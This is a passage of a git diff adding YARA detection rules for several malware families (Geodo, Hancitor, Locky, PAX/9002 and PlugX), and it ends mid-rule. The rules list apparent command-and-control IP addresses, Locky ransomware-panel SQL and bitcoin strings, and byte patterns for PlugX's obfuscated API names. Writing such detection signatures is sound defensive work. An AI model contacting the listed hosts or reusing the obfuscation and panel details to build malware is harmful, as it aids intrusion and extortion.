+++ b/yara-mikesxrs/h3x2b/win_geodo.yara
@@ -0,0 +1,35 @@
+import "cuckoo"
+
+rule geodo_malware
+{
+	condition:
+		cuckoo.network.http_request(/http:\/\/64\.207\.134\.54:8080/)
+		or cuckoo.network.http_request(/http:\/\/72\.52\.150\.60:8080/)
+		or cuckoo.network.http_request(/http:\/\/88\.208\.192\.116:8080/)
+		or cuckoo.network.http_request(/http:\/\/88\.208\.228\.111:8080/)
+		or cuckoo.network.http_request(/http:\/\/94\.23\.28\.211:8080/)
+		or cuckoo.network.http_request(/http:\/\/94\.23\.192\.208:8080/)
+		or cuckoo.network.http_request(/http:\/\/103\.228\.200\.37:8080/)
+		or cuckoo.network.http_request(/http:\/\/103\.228\.200\.47:8080/)
+		or cuckoo.network.http_request(/http:\/\/103\.245\.153\.70:8080/)
+		or cuckoo.network.http_request(/http:\/\/106\.187\.103\.213:8080/)
+		or cuckoo.network.http_request(/http:\/\/119\.59\.124\.163:8080/)
+		or cuckoo.network.http_request(/http:\/\/134\.213\.133\.96:8080/)
+		or cuckoo.network.http_request(/http:\/\/142\.4\.18\.239:8080/)
+		or cuckoo.network.http_request(/http:\/\/158\.255\.238\.18:8080/)
+		or cuckoo.network.http_request(/http:\/\/158\.255\.238\.209:8080/)
+		or cuckoo.network.http_request(/http:\/\/162\.144\.35\.78:8080/)
+		or cuckoo.network.http_request(/http:\/\/162\.144\.45\.246:8080/)
+		or cuckoo.network.http_request(/http:\/\/162\.144\.77\.164:8080/)
+		or cuckoo.network.http_request(/http:\/\/162\.144\.88\.73:8080/)
+		or cuckoo.network.http_request(/http:\/\/188\.126\.72\.179:8080/)
+		or cuckoo.network.http_request(/http:\/\/192\.163\.208\.168:8080/)
+		or cuckoo.network.http_request(/http:\/\/192\.163\.239\.60:8080/)
+		or cuckoo.network.http_request(/http:\/\/195\.219\.57\.34:8080/)
+		or cuckoo.network.http_request(/http:\/\/197\.85\.182\.110:8080/)
+		or cuckoo.network.http_request(/http:\/\/198\.1\.122\.176:8080/)
+		or cuckoo.network.http_request(/http:\/\/200\.159\.128\.6:8080/)
+		or cuckoo.network.http_request(/http:\/\/200\.159\.128\.132:8080/)
+		or cuckoo.network.http_request(/http:\/\/202\.44\.54\.3:8080/)
+		or cuckoo.network.http_request(/http:\/\/209\.250\.6\.60:8080/)
+}
diff --git a/yara-mikesxrs/h3x2b/win_hancitor.yara b/yara-mikesxrs/h3x2b/win_hancitor.yara
new file mode 100644
index 0000000..049f845
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_hancitor.yara
@@ -0,0 +1,20 @@
+rule hancitor_dropper : vb_win32api
+{
+    meta:
+        author = "Jeff White - jwhite@paloaltonetworks @noottrak"
+        date   = "18AUG2016"
+        hash1  = "03aef51be133425a0e5978ab2529890854ecf1b98a7cf8289c142a62de7acd1a"
+        hash2  = "4b3912077ef47515b2b74bc1f39de44ddd683a3a79f45c93777e49245f0e9848"
+        hash3  = "a78972ac6dee8c7292ae06783cfa1f918bacfe956595d30a0a8d99858ce94b5a"
+ 
+    strings:
+        $api_01 = { 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 }  // VirtualAlloc
+        $api_02 = { 00 52 74 6C 4D 6F 76 65 4D 65 6D 6F 72 79 00 }  // RtlMoveMemory
+        $api_04 = { 00 43 61 6C 6C 57 69 6E 64 6F 77 50 72 6F 63 41 00 }  // CallWindowProcAi
+        $magic  = { 50 4F 4C 41 }  // POLA
+ 
+    condition:
+        //DOC file magic
+        uint32be(0) == 0xD0CF11E0 and
+        all of ($api_*) and $magic
+}
diff --git a/yara-mikesxrs/h3x2b/win_locky.yara b/yara-mikesxrs/h3x2b/win_locky.yara
new file mode 100644
index 0000000..8be5728
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_locky.yara
@@ -0,0 +1,84 @@
+rule locky_panel__dbaccess : malware
+{
+    meta:
+        description = "Identify locky/ransomware panel in php"
+        author = "@h3x2b <tracker _AT h3x.eu>"
+        //Check also:
+        //https://community.hpe.com/t5/Security-Research/Feeling-even-Locky-er/ba-p/6834311
+            
+    strings:
+        $s01 = "userinfo"
+        $s02 = "db_query_single"
+        $s03 = "SELECT * FROM users WHERE id=?"
+        $s04 = "SESSION['uid']"
+        $s05 = "goto not_logged_in"
+        $s06 = "SELECT id,pass,enabled FROM users WHERE name=?"
+        $s07 = "count(id) as Total"
+        $s08 = "count(NULLIF(completed,0)) as Completed"
+        $s09 = "count(NULLIF(btc_payed,0)) as Paid"
+        $s10 = "sum(btc_payed)"
+        $s11 = "Amount BTC"
+        $s12 = "SELECT affid as User"
+        $s13 = "columns FROM clients GROUP BY affid"
+        $s14 = "format_btc(strval("
+        
+    condition:
+        all of them
+
+}
+
+
+
+rule locky_panel__botgeneration : malware
+{
+    meta:
+        description = "Identify locky/ransomware builder"
+        author = "@h3x2b <tracker _AT h3x.eu>"
+        //Check also:
+        //https://community.hpe.com/t5/Security-Research/Feeling-even-Locky-er/ba-p/6834311
+
+    strings:
+        $s01 = "make_bot_exe"
+        $s02 = "BOT_EXES_PATH"
+        $s03 = "Locky_{*}.exe"
+        $s04 = "Location:"
+        $s05 = "BOT_EXES_URL"
+
+    condition:
+        all of them
+
+}
+
+
+rule locky_panel__bitcoins : malware
+{
+    meta:
+        description = "Identify locky/ransomware panel on the bitcoins handling"
+        author = "@h3x2b <tracker _AT h3x.eu>"
+        //Check also:
+        //https://community.hpe.com/t5/Security-Research/Feeling-even-Locky-er/ba-p/6834311
+
+    strings:
+        $s01 = "registered"
+        $s02 = "visited"
+        $s03 = "ip"
+        $s04 = "affid"
+        $s05 = "completed"
+        $s06 = "lang"
+        $s07 = "is_server"
+        $s08 = "corporate"
+        $s09 = "os_ver"
+        $s10 = "is_x64"
+        $s11 = "btc_address"
+        $s12 = "btc_needed"
+        $s13 = "btc_payed"
+        $s14 = "txfree"
+        $s15 = "txid"
+
+    condition:
+        all of them
+
+}
+
+
+
diff --git a/yara-mikesxrs/h3x2b/win_pax.yara b/yara-mikesxrs/h3x2b/win_pax.yara
new file mode 100644
index 0000000..430f732
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_pax.yara
@@ -0,0 +1,26 @@
+rule pax_dll : malware
+{
+	meta:
+		description = "Identify the dll loader of _p.ax/HOMEUNIX/9002"
+		author = "tracker [_at] h3x.eu"
+
+	strings:
+		$orig_name_1 = "ServiceDll.dll"
+		$orig_name_2 = "piDLL.dll"
+		$orig_name_3 = "psd.dll"
+
+
+		$all_s1 = "SetServiceStatus"
+		$all_s2 = "RegQueryValueExA"
+		$all_s3 = "RegOpenKeyExA"
+
+		//$file_name_1 = "msisvcd.dll"
+		//$file_name_2 = "mstisvc.dll"
+
+	condition:
+	 	//file_type contains "pe"
+		uint16(0) == 0x5a4d and
+		any of ( $orig_name_* )
+		and all of ( $all_* )
+		//and file_name contains ( $file_name_* )
+}
diff --git a/yara-mikesxrs/h3x2b/win_plugx.yara b/yara-mikesxrs/h3x2b/win_plugx.yara
new file mode 100644
index 0000000..6bf1c3a
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_plugx.yara
@@ -0,0 +1,337 @@
+import "pe"
+
+rule plugx_VirtualProtect_3f : APT malware
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detects obfuscated strings as used in the DLL loading the PlugX payload. String: VirtualProtect"
+	strings:
+		$VirtualProtect_3f_00 = { 69 56 4d 4b 4a 5e 53 6f 4d 50 4b 5a 5c 4b }
+		$VirtualProtect_3f_01 = { 6b 58 4f 4d 4c 60 55 71 4f 52 4d 5c 5e 4d }
+		$VirtualProtect_3f_02 = { 6d 5a 51 4f 4e 62 57 73 51 54 4f 5e 60 4f }
+		$VirtualProtect_3f_03 = { 6f 5c 53 51 50 64 59 75 53 56 51 60 62 51 }
+		$VirtualProtect_3f_04 = { 71 5e 55 53 52 66 5b 77 55 58 53 62 64 53 }
+		$VirtualProtect_3f_05 = { 73 60 57 55 54 68 5d 79 57 5a 55 64 66 55 }
+		$VirtualProtect_3f_06 = { 75 62 59 57 56 6a 5f 7b 59 5c 57 66 68 57 }
+		$VirtualProtect_3f_07 = { 77 64 5b 59 58 6c 61 7d 5b 5e 59 68 6a 59 }
+		$VirtualProtect_3f_08 = { 79 66 5d 5b 5a 6e 63 7f 5d 60 5b 6a 6c 5b }
+		$VirtualProtect_3f_09 = { 7b 68 5f 5d 5c 70 65 81 5f 62 5d 6c 6e 5d }
+		$VirtualProtect_3f_0a = { 7d 6a 61 5f 5e 72 67 83 61 64 5f 6e 70 5f }
+		$VirtualProtect_3f_0b = { 7f 6c 63 61 60 74 69 85 63 66 61 70 72 61 }
+		$VirtualProtect_3f_0c = { 81 6e 65 63 62 76 6b 87 65 68 63 72 74 63 }
+		$VirtualProtect_3f_0d = { 83 70 67 65 64 78 6d 89 67 6a 65 74 76 65 }
+		$VirtualProtect_3f_0e = { 85 72 69 67 66 7a 6f 8b 69 6c 67 76 78 67 }
+		$VirtualProtect_3f_0f = { 87 74 6b 69 68 7c 71 8d 6b 6e 69 78 7a 69 }
+		$VirtualProtect_3f_10 = { 89 76 6d 6b 6a 7e 73 8f 6d 70 6b 7a 7c 6b }
+		$VirtualProtect_3f_11 = { 8b 78 6f 6d 6c 80 75 11 6f 72 6d 7c 7e 6d }
+		$VirtualProtect_3f_12 = { 8d 7a 71 6f 6e 82 77 13 71 74 6f 7e 80 6f }
+		$VirtualProtect_3f_13 = { 8f 7c 73 71 70 84 79 15 73 76 71 80 82 71 }
+		$VirtualProtect_3f_14 = { 91 7e 75 73 72 86 7b 17 75 78 73 82 84 73 }
+		$VirtualProtect_3f_15 = { 93 80 77 75 74 88 7d 19 77 7a 75 84 86 75 }
+		$VirtualProtect_3f_16 = { 95 82 79 77 76 8a 7f 1b 79 7c 77 86 88 77 }
+		$VirtualProtect_3f_17 = { 17 84 7b 79 78 8c 81 1d 7b 7e 79 88 8a 79 }
+		$VirtualProtect_3f_18 = { 19 86 7d 7b 7a 8e 83 1f 7d 80 7b 8a 8c 7b }
+		$VirtualProtect_3f_19 = { 1b 88 7f 7d 7c 90 85 21 7f 82 7d 8c 8e 7d }
+		$VirtualProtect_3f_1a = { 1d 8a 81 7f 7e 92 87 23 81 84 7f 8e 90 7f }
+		$VirtualProtect_3f_1b = { 1f 8c 83 81 80 94 89 25 83 86 81 90 92 81 }
+		$VirtualProtect_3f_1c = { 21 8e 85 83 82 96 8b 27 85 88 83 92 94 83 }
+		$VirtualProtect_3f_1d = { 23 90 87 85 84 98 8d 29 87 8a 85 94 96 85 }
+		$VirtualProtect_3f_1e = { 25 92 89 87 86 9a 8f 2b 89 8c 87 96 98 87 }
+		$VirtualProtect_3f_1f = { 27 94 8b 89 88 9c 91 2d 8b 8e 89 98 9a 89 }
+		$VirtualProtect_3f_20 = { 29 96 8d 8b 8a 9e 93 2f 8d 90 8b 9a 9c 8b }
+		$VirtualProtect_3f_21 = { 2b 98 8f 8d 8c a0 95 31 8f 92 8d 9c 9e 8d }
+		$VirtualProtect_3f_22 = { 2d 9a 91 8f 8e 22 97 33 91 94 8f 9e a0 8f }
+		$VirtualProtect_3f_23 = { 2f 9c 93 91 90 24 99 35 93 96 91 a0 a2 91 }
+		$VirtualProtect_3f_24 = { 31 9e 95 93 92 26 9b 37 95 98 93 a2 24 93 }
+		$VirtualProtect_3f_25 = { 33 a0 97 95 94 28 9d 39 97 9a 95 a4 26 95 }
+		$VirtualProtect_3f_26 = { 35 a2 99 97 96 2a 9f 3b 99 9c 97 26 28 97 }
+		$VirtualProtect_3f_27 = { 37 a4 9b 99 98 2c a1 3d 9b 9e 99 28 2a 99 }
+		$VirtualProtect_3f_28 = { 39 a6 9d 9b 9a 2e a3 3f 9d a0 9b 2a 2c 9b }
+		$VirtualProtect_3f_29 = { 3b a8 9f 9d 9c 30 a5 41 9f a2 9d 2c 2e 9d }
+		$VirtualProtect_3f_2a = { 3d 2a a1 9f 9e 32 a7 43 a1 a4 9f 2e 30 9f }
+		$VirtualProtect_3f_2b = { 3f 2c a3 a1 a0 34 a9 45 a3 a6 a1 30 32 a1 }
+		$VirtualProtect_3f_2c = { 41 2e a5 a3 a2 36 ab 47 a5 a8 a3 32 34 a3 }
+		$VirtualProtect_3f_2d = { 43 30 a7 a5 a4 38 2d 49 a7 aa a5 34 36 a5 }
+		$VirtualProtect_3f_2e = { 45 32 a9 a7 a6 3a 2f 4b a9 ac a7 36 38 a7 }
+		$VirtualProtect_3f_2f = { 47 34 ab a9 a8 3c 31 4d ab ae a9 38 3a a9 }
+		$VirtualProtect_3f_30 = { 49 36 ad ab aa 3e 33 4f ad 30 ab 3a 3c ab }
+		$VirtualProtect_3f_31 = { 4b 38 af ad ac 40 35 51 af 32 ad 3c 3e ad }
+		$VirtualProtect_3f_32 = { 4d 3a b1 af ae 42 37 53 b1 34 af 3e 40 af }
+		$VirtualProtect_3f_33 = { 4f 3c 33 b1 b0 44 39 55 33 36 b1 40 42 b1 }
+		$VirtualProtect_3f_34 = { 51 3e 35 b3 b2 46 3b 57 35 38 b3 42 44 b3 }
+		$VirtualProtect_3f_35 = { 53 40 37 35 b4 48 3d 59 37 3a 35 44 46 35 }
+		$VirtualProtect_3f_36 = { 55 42 39 37 36 4a 3f 5b 39 3c 37 46 48 37 }
+		$VirtualProtect_3f_37 = { 57 44 3b 39 38 4c 41 5d 3b 3e 39 48 4a 39 }
+		$VirtualProtect_3f_38 = { 59 46 3d 3b 3a 4e 43 5f 3d 40 3b 4a 4c 3b }
+		$VirtualProtect_3f_39 = { 5b 48 3f 3d 3c 50 45 61 3f 42 3d 4c 4e 3d }
+		$VirtualProtect_3f_3a = { 5d 4a 41 3f 3e 52 47 63 41 44 3f 4e 50 3f }
+		$VirtualProtect_3f_3b = { 5f 4c 43 41 40 54 49 65 43 46 41 50 52 41 }
+		$VirtualProtect_3f_3c = { 61 4e 45 43 42 56 4b 67 45 48 43 52 54 43 }
+		$VirtualProtect_3f_3d = { 63 50 47 45 44 58 4d 69 47 4a 45 54 56 45 }
+		$VirtualProtect_3f_3e = { 65 52 49 47 46 5a 4f 6b 49 4c 47 56 58 47 }
+		$VirtualProtect_3f_3f = { 67 54 4b 49 48 5c 51 6d 4b 4e 49 58 5a 49 }
+
+	condition:
+		//File starts with MZ
+		uint16(0) == 0x5a4d and
+		1 of them
+}
+
+
+rule plugx_advapi32_dll_3f : APT malware
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detects obfuscated strings as used in the DLL loading the PlugX payload. String: advapi32.dll"
+	strings:
+		$advapi32_dll_3f_00 = { 5e 5b 49 5e 4f 56 0c 0d 11 5b 53 53 }
+		$advapi32_dll_3f_01 = { 60 5d 4b 60 51 58 0e 0f 13 5d 55 55 }
+		$advapi32_dll_3f_02 = { 62 5f 4d 62 53 5a 10 11 15 5f 57 57 }
+		$advapi32_dll_3f_03 = { 64 61 4f 64 55 5c 12 13 17 61 59 59 }
+		$advapi32_dll_3f_04 = { 66 63 51 66 57 5e 14 15 19 63 5b 5b }
+		$advapi32_dll_3f_05 = { 68 65 53 68 59 60 16 17 1b 65 5d 5d }
+		$advapi32_dll_3f_06 = { 6a 67 55 6a 5b 62 18 19 1d 67 5f 5f }
+		$advapi32_dll_3f_07 = { 6c 69 57 6c 5d 64 1a 1b 1f 69 61 61 }
+		$advapi32_dll_3f_08 = { 6e 6b 59 6e 5f 66 1c 1d 21 6b 63 63 }
+		$advapi32_dll_3f_09 = { 70 6d 5b 70 61 68 1e 1f 23 6d 65 65 }
+		$advapi32_dll_3f_0a = { 72 6f 5d 72 63 6a 20 21 25 6f 67 67 }
+		$advapi32_dll_3f_0b = { 74 71 5f 74 65 6c 22 23 27 71 69 69 }
+		$advapi32_dll_3f_0c = { 76 73 61 76 67 6e 24 25 29 73 6b 6b }
+		$advapi32_dll_3f_0d = { 78 75 63 78 69 70 26 27 2b 75 6d 6d }
+		$advapi32_dll_3f_0e = { 7a 77 65 7a 6b 72 28 29 2d 77 6f 6f }
+		$advapi32_dll_3f_0f = { 7c 79 67 7c 6d 74 2a 2b 2f 79 71 71 }
+		$advapi32_dll_3f_10 = { 7e 7b 69 7e 6f 76 2c 2d 31 7b 73 73 }
+		$advapi32_dll_3f_11 = { 80 7d 6b 80 71 78 2e 2f 33 7d 75 75 }
+		$advapi32_dll_3f_12 = { 82 7f 6d 82 73 7a 30 31 35 7f 77 77 }
+		$advapi32_dll_3f_13 = { 84 81 6f 84 75 7c 32 33 37 81 79 79 }
+		$advapi32_dll_3f_14 = { 86 83 71 86 77 7e 34 35 39 83 7b 7b }
+		$advapi32_dll_3f_15 = { 88 85 73 88 79 80 36 37 3b 85 7d 7d }
+		$advapi32_dll_3f_16 = { 8a 87 75 8a 7b 82 38 39 3d 87 7f 7f }
+		$advapi32_dll_3f_17 = { 8c 89 77 8c 7d 84 3a 3b 3f 89 81 81 }
+		$advapi32_dll_3f_18 = { 8e 8b 79 8e 7f 86 3c 3d 41 8b 83 83 }
+		$advapi32_dll_3f_19 = { 90 8d 7b 90 81 88 3e 3f 43 8d 85 85 }
+		$advapi32_dll_3f_1a = { 92 8f 7d 92 83 8a 40 41 45 8f 87 87 }
+		$advapi32_dll_3f_1b = { 94 91 7f 94 85 8c 42 43 47 91 89 89 }
+		$advapi32_dll_3f_1c = { 96 93 81 96 87 8e 44 45 49 93 8b 8b }
+		$advapi32_dll_3f_1d = { 98 95 83 98 89 90 46 47 4b 95 8d 8d }
+		$advapi32_dll_3f_1e = { 9a 97 85 9a 8b 92 48 49 4d 97 8f 8f }
+		$advapi32_dll_3f_1f = { 9c 99 87 9c 8d 94 4a 4b 4f 99 91 91 }
+		$advapi32_dll_3f_20 = { 9e 9b 89 9e 8f 96 4c 4d 51 9b 93 93 }
+		$advapi32_dll_3f_21 = { a0 9d 8b a0 91 98 4e 4f 53 9d 95 95 }
+		$advapi32_dll_3f_22 = { 22 9f 8d 22 93 9a 50 51 55 9f 97 97 }
+		$advapi32_dll_3f_23 = { 24 a1 8f 24 95 9c 52 53 57 a1 99 99 }
+		$advapi32_dll_3f_24 = { 26 a3 91 26 97 9e 54 55 59 a3 9b 9b }
+		$advapi32_dll_3f_25 = { 28 25 93 28 99 a0 56 57 5b 25 9d 9d }
+		$advapi32_dll_3f_26 = { 2a 27 95 2a 9b a2 58 59 5d 27 9f 9f }
+		$advapi32_dll_3f_27 = { 2c 29 97 2c 9d a4 5a 5b 5f 29 a1 a1 }
+		$advapi32_dll_3f_28 = { 2e 2b 99 2e 9f a6 5c 5d 61 2b a3 a3 }
+		$advapi32_dll_3f_29 = { 30 2d 9b 30 a1 a8 5e 5f 63 2d a5 a5 }
+		$advapi32_dll_3f_2a = { 32 2f 9d 32 a3 2a 60 61 65 2f a7 a7 }
+		$advapi32_dll_3f_2b = { 34 31 9f 34 a5 2c 62 63 67 31 a9 a9 }
+		$advapi32_dll_3f_2c = { 36 33 a1 36 a7 2e 64 65 69 33 ab ab }
+		$advapi32_dll_3f_2d = { 38 35 a3 38 a9 30 66 67 6b 35 2d 2d }
+		$advapi32_dll_3f_2e = { 3a 37 a5 3a ab 32 68 69 6d 37 2f 2f }
+		$advapi32_dll_3f_2f = { 3c 39 a7 3c ad 34 6a 6b ef 39 31 31 }
+		$advapi32_dll_3f_30 = { 3e 3b a9 3e af 36 6c 6d f1 3b 33 33 }
+		$advapi32_dll_3f_31 = { 40 3d ab 40 31 38 6e 6f f3 3d 35 35 }
+		$advapi32_dll_3f_32 = { 42 3f ad 42 33 3a 70 71 f5 3f 37 37 }
+		$advapi32_dll_3f_33 = { 44 41 af 44 35 3c 72 f3 f7 41 39 39 }
+		$advapi32_dll_3f_34 = { 46 43 b1 46 37 3e f4 f5 f9 43 3b 3b }
+		$advapi32_dll_3f_35 = { 48 45 b3 48 39 40 f6 f7 fb 45 3d 3d }
+		$advapi32_dll_3f_36 = { 4a 47 b5 4a 3b 42 f8 f9 fd 47 3f 3f }
+		$advapi32_dll_3f_37 = { 4c 49 37 4c 3d 44 fa fb ff 49 41 41 }
+		$advapi32_dll_3f_38 = { 4e 4b 39 4e 3f 46 fc fd 01 4b 43 43 }
+		$advapi32_dll_3f_39 = { 50 4d 3b 50 41 48 fe ff 03 4d 45 45 }
+		$advapi32_dll_3f_3a = { 52 4f 3d 52 43 4a 00 01 05 4f 47 47 }
+		$advapi32_dll_3f_3b = { 54 51 3f 54 45 4c 02 03 07 51 49 49 }
+		$advapi32_dll_3f_3c = { 56 53 41 56 47 4e 04 05 09 53 4b 4b }
+		$advapi32_dll_3f_3d = { 58 55 43 58 49 50 06 07 0b 55 4d 4d }
+		$advapi32_dll_3f_3e = { 5a 57 45 5a 4b 52 08 09 0d 57 4f 4f }
+		$advapi32_dll_3f_3f = { 5c 59 47 5c 4d 54 0a 0b 0f 59 51 51 }
+
+	condition:
+		//File starts with MZ
+		uint16(0) == 0x5a4d and
+		1 of them
+}
+
+rule plugx_GetModuleHandleA_3f : APT malware
+{
+meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detects obfuscated strings as used in the DLL loading the PlugX payload. String: GetModuleHandleA"
+
+strings:
+		$GetModuleHandleA_3f_00 = { 78 5a 4b 72 50 5b 4a 53 5a 77 5e 51 5b 53 5a 7e }
+		$GetModuleHandleA_3f_01 = { 7a 5c 4d 74 52 5d 4c 55 5c 79 60 53 5d 55 5c 80 }
+		$GetModuleHandleA_3f_02 = { 7c 5e 4f 76 54 5f 4e 57 5e 7b 62 55 5f 57 5e 02 }
+		$GetModuleHandleA_3f_03 = { 7e 60 51 78 56 61 50 59 60 7d 64 57 61 59 60 04 }
+		$GetModuleHandleA_3f_04 = { 80 62 53 7a 58 63 52 5b 62 7f 66 59 63 5b 62 06 }
+		$GetModuleHandleA_3f_05 = { 82 64 55 7c 5a 65 54 5d 64 81 68 5b 65 5d 64 08 }
+		$GetModuleHandleA_3f_06 = { 84 66 57 7e 5c 67 56 5f 66 83 6a 5d 67 5f 66 0a }
+		$GetModuleHandleA_3f_07 = { 86 68 59 80 5e 69 58 61 68 85 6c 5f 69 61 68 0c }
+		$GetModuleHandleA_3f_08 = { 08 6a 5b 82 60 6b 5a 63 6a 87 6e 61 6b 63 6a 0e }
+		$GetModuleHandleA_3f_09 = { 0a 6c 5d 84 62 6d 5c 65 6c 09 70 63 6d 65 6c 10 }
+		$GetModuleHandleA_3f_0a = { 0c 6e 5f 86 64 6f 5e 67 6e 0b 72 65 6f 67 6e 12 }
+		$GetModuleHandleA_3f_0b = { 0e 70 61 88 66 71 60 69 70 0d 74 67 71 69 70 14 }
+		$GetModuleHandleA_3f_0c = { 10 72 63 8a 68 73 62 6b 72 0f 76 69 73 6b 72 16 }
+		$GetModuleHandleA_3f_0d = { 12 74 65 8c 6a 75 64 6d 74 11 78 6b 75 6d 74 18 }
+		$GetModuleHandleA_3f_0e = { 14 76 67 0e 6c 77 66 6f 76 13 7a 6d 77 6f 76 1a }
+		$GetModuleHandleA_3f_0f = { 16 78 69 10 6e 79 68 71 78 15 7c 6f 79 71 78 1c }
+		$GetModuleHandleA_3f_10 = { 18 7a 6b 12 70 7b 6a 73 7a 17 7e 71 7b 73 7a 1e }
+		$GetModuleHandleA_3f_11 = { 1a 7c 6d 14 72 7d 6c 75 7c 19 80 73 7d 75 7c 20 }
+		$GetModuleHandleA_3f_12 = { 1c 7e 6f 16 74 7f 6e 77 7e 1b 82 75 7f 77 7e 22 }
+		$GetModuleHandleA_3f_13 = { 1e 80 71 18 76 81 70 79 80 1d 84 77 81 79 80 24 }
+		$GetModuleHandleA_3f_14 = { 20 82 73 1a 78 83 72 7b 82 1f 86 79 83 7b 82 26 }
+		$GetModuleHandleA_3f_15 = { 22 84 75 1c 7a 85 74 7d 84 21 88 7b 85 7d 84 28 }
+		$GetModuleHandleA_3f_16 = { 24 86 77 1e 7c 87 76 7f 86 23 8a 7d 87 7f 86 2a }
+		$GetModuleHandleA_3f_17 = { 26 88 79 20 7e 89 78 81 88 25 8c 7f 89 81 88 2c }
+		$GetModuleHandleA_3f_18 = { 28 8a 7b 22 80 8b 7a 83 8a 27 8e 81 8b 83 8a 2e }
+		$GetModuleHandleA_3f_19 = { 2a 8c 7d 24 82 8d 7c 85 8c 29 90 83 8d 85 8c 30 }
+		$GetModuleHandleA_3f_1a = { 2c 8e 7f 26 84 8f 7e 87 8e 2b 92 85 8f 87 8e 32 }
+		$GetModuleHandleA_3f_1b = { 2e 90 81 28 86 91 80 89 90 2d 94 87 91 89 90 34 }
+		$GetModuleHandleA_3f_1c = { 30 92 83 2a 88 93 82 8b 92 2f 96 89 93 8b 92 36 }
+		$GetModuleHandleA_3f_1d = { 32 94 85 2c 8a 95 84 8d 94 31 98 8b 95 8d 94 38 }
+		$GetModuleHandleA_3f_1e = { 34 96 87 2e 8c 97 86 8f 96 33 9a 8d 97 8f 96 3a }
+		$GetModuleHandleA_3f_1f = { 36 98 89 30 8e 99 88 91 98 35 9c 8f 99 91 98 3c }
+		$GetModuleHandleA_3f_20 = { 38 9a 8b 32 90 9b 8a 93 9a 37 9e 91 9b 93 9a 3e }
+		$GetModuleHandleA_3f_21 = { 3a 9c 8d 34 92 9d 8c 95 9c 39 a0 93 9d 95 9c 40 }
+		$GetModuleHandleA_3f_22 = { 3c 9e 8f 36 94 9f 8e 97 9e 3b 22 95 9f 97 9e 42 }
+		$GetModuleHandleA_3f_23 = { 3e a0 91 38 96 a1 90 99 a0 3d 24 97 a1 99 a0 44 }
+		$GetModuleHandleA_3f_24 = { 40 a2 93 3a 98 a3 92 9b a2 3f 26 99 a3 9b a2 46 }
+		$GetModuleHandleA_3f_25 = { 42 a4 95 3c 9a 25 94 9d a4 41 28 9b 25 9d a4 48 }
+		$GetModuleHandleA_3f_26 = { 44 26 97 3e 9c 27 96 9f 26 43 2a 9d 27 9f 26 4a }
+		$GetModuleHandleA_3f_27 = { 46 28 99 40 9e 29 98 a1 28 45 2c 9f 29 a1 28 4c }
+		$GetModuleHandleA_3f_28 = { 48 2a 9b 42 a0 2b 9a a3 2a 47 2e a1 2b a3 2a 4e }
+		$GetModuleHandleA_3f_29 = { 4a 2c 9d 44 a2 2d 9c a5 2c 49 30 a3 2d a5 2c 50 }
+		$GetModuleHandleA_3f_2a = { 4c 2e 9f 46 a4 2f 9e a7 2e 4b 32 a5 2f a7 2e 52 }
+		$GetModuleHandleA_3f_2b = { 4e 30 a1 48 a6 31 a0 a9 30 4d 34 a7 31 a9 30 54 }
+		$GetModuleHandleA_3f_2c = { 50 32 a3 4a a8 33 a2 ab 32 4f 36 a9 33 ab 32 56 }
+		$GetModuleHandleA_3f_2d = { 52 34 a5 4c aa 35 a4 2d 34 51 38 ab 35 2d 34 58 }
+		$GetModuleHandleA_3f_2e = { 54 36 a7 4e ac 37 a6 2f 36 53 3a ad 37 2f 36 5a }
+		$GetModuleHandleA_3f_2f = { 56 38 a9 50 ae 39 a8 31 38 55 3c 2f 39 31 38 5c }
+		$GetModuleHandleA_3f_30 = { 58 3a ab 52 30 3b aa 33 3a 57 3e 31 3b 33 3a 5e }
+		$GetModuleHandleA_3f_31 = { 5a 3c ad 54 32 3d ac 35 3c 59 40 33 3d 35 3c 60 }
+		$GetModuleHandleA_3f_32 = { 5c 3e af 56 34 3f ae 37 3e 5b 42 35 3f 37 3e 62 }
+		$GetModuleHandleA_3f_33 = { 5e 40 b1 58 36 41 b0 39 40 5d 44 37 41 39 40 64 }
+		$GetModuleHandleA_3f_34 = { 60 42 b3 5a 38 43 b2 3b 42 5f 46 39 43 3b 42 66 }
+		$GetModuleHandleA_3f_35 = { 62 44 35 5c 3a 45 b4 3d 44 61 48 3b 45 3d 44 68 }
+		$GetModuleHandleA_3f_36 = { 64 46 37 5e 3c 47 36 3f 46 63 4a 3d 47 3f 46 6a }
+		$GetModuleHandleA_3f_37 = { 66 48 39 60 3e 49 38 41 48 65 4c 3f 49 41 48 6c }
+		$GetModuleHandleA_3f_38 = { 68 4a 3b 62 40 4b 3a 43 4a 67 4e 41 4b 43 4a 6e }
+		$GetModuleHandleA_3f_39 = { 6a 4c 3d 64 42 4d 3c 45 4c 69 50 43 4d 45 4c 70 }
+		$GetModuleHandleA_3f_3a = { 6c 4e 3f 66 44 4f 3e 47 4e 6b 52 45 4f 47 4e 72 }
+		$GetModuleHandleA_3f_3b = { 6e 50 41 68 46 51 40 49 50 6d 54 47 51 49 50 74 }
+		$GetModuleHandleA_3f_3c = { 70 52 43 6a 48 53 42 4b 52 6f 56 49 53 4b 52 76 }
+		$GetModuleHandleA_3f_3d = { 72 54 45 6c 4a 55 44 4d 54 71 58 4b 55 4d 54 78 }
+		$GetModuleHandleA_3f_3e = { 74 56 47 6e 4c 57 46 4f 56 73 5a 4d 57 4f 56 7a }
+		$GetModuleHandleA_3f_3f = { 76 58 49 70 4e 59 48 51 58 75 5c 4f 59 51 58 7c }
+
+	condition:
+		//File starts with MZ
+		uint16(0) == 0x5a4d and
+		1 of them
+}
+
+
+rule ms15_093_plugx_dll_payload : APT malware
+{
+	meta:
+		author = "rnolen@bit9.com"
+		date = "8.26.2015"
+		description = "Find a specific plugx variant DLL payload"
+		hash1 = "20d88b0fa34d3d79629cb602f08a1145008a75215fe2c91a3b3171287adc4c3d"
+	strings:
+		$datfile = "nvdisps_user.dat"
+		$dllfile = "nvdisps.dll"
+		$mutex	= "nvdisps_event"
+	condition:
+		3 of ($datfile,$dllfile,$mutex) and pe.exports("ShadowPlay")
+}
+
+
+rule ms15_093_plugx_dropper : APT malware
+{
+	meta:
+		author = "rnolen@bit9.com"
+		date = "8.26.2015"
+		description = "Find a specific plugx variant dropper"
